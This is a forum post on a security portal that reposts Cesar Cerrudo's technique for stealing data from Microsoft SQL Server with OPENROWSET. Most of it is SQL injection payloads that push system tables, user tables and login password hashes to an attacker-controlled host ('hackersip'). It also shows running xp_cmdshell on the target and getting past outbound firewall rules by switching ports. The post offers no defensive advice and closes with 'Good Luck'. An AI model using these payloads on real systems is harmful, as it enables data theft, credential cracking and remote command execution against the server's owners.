Waraxe IT Security Portal

Dinosaurio · Regular user

Hi,

The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data into SQL Server to be manipulated. They can however also be used to push data to a remote SQL Server.

OPENROWSET can be used to not only execute SELECT statements, but also to execute UPDATE, INSERT, and DELETE statements on external data sources. Performing data manipulation on remote data sources is less common and only works if the OLEDB provider supports this functionality. The SQLOLEDB provider support all these statements.

Below is an example of pushing data to an external data source:

insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2

In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the remote data source. In order for the statement to execute properly the two tables must have the same structure.

As we learned in the previous section, remote datasources can be redirected to any server of the attacker?s choice. An attacker could change the statement above to connect to a remote datasource such as a copy of Microsoft SQL Server running on the attacker?s machine.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2

In order to insert into table1 properly, the attacker must create table1 with the same columns and data types as table2. This information can be determined by performing this attack against system tables first.

This works because the structure of system tables are well-known. An attacker would start by creating a table with similar column names and data types as the system tables sysdatabases, sysobjects and syscolumns. Then to retrieve the necessary information, the following statements would be executed:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns

WWW.APPSECINC.COM
After recreating the tables in the database, loading the remaining data from the SQL Server is trivial.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2

Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.

Given the appropriate privileges, the attacker could load the list of logins and password hashes as well:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins

Acquiring the password hashes would allow the attacks to perform a brute-force on the passwords.

The attacker can also execute commands on the attacked server and get the results:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'

If the firewall is configured to block all outbound SQL Server connections, the attacker can use one of several techniques to circumvent the firewall. The attacker could set the address to push data on using port 80 therefore appearing to be an HTTP connection. Below is an example of this technique.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1

If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents port numbers until an unblocked one was found.

Good Luck

Dino

Font:Cesar Cerrudo (sqlsec@yahoo.com)